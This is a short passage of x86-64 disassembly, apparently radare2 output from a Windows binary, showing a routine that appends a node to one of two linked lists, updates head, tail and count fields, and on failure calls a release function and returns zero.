mov qword [rbx + 0x50], rax
test rax, rax
je 0x140005e73
test rdi, rdi
je 0x140005e22
cmp qword [rdi + 0x1c8], r15
jne 0x140005df9
mov qword [rdi + 0x1c0], rbx
mov al, 1
mov qword [rdi + 0x1c8], rbx
mov qword [rbx], r15
mov qword [rbx + 8], r15
inc dword [rdi + 0x1d0]
jmp 0x140005e82
mov qword [rbx], r15
mov al, 1
mov rcx, qword [rdi + 0x1c8]
mov qword [rbx + 8], rcx
mov rcx, qword [rdi + 0x1c8]
mov qword [rcx], rbx
inc dword [rdi + 0x1d0]
mov qword [rdi + 0x1c8], rbx
jmp 0x140005e82
cmp qword [rsi + 0x3a0], r15
jne 0x140005e4a
mov qword [rsi + 0x398], rbx
mov al, 1
mov qword [rsi + 0x3a0], rbx
mov qword [rbx], r15
mov qword [rbx + 8], r15
inc dword [rsi + 0x3a8]
jmp 0x140005e82
mov qword [rbx], r15
mov rax, qword [rsi + 0x3a0]
mov qword [rbx + 8], rax
mov rax, qword [rsi + 0x3a0]
mov qword [rax], rbx
mov al, 1
inc dword [rsi + 0x3a8]
mov qword [rsi + 0x3a0], rbx
jmp 0x140005e82
mov edx, 0xb8
mov rcx, rbx
call fcn.140015adc
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret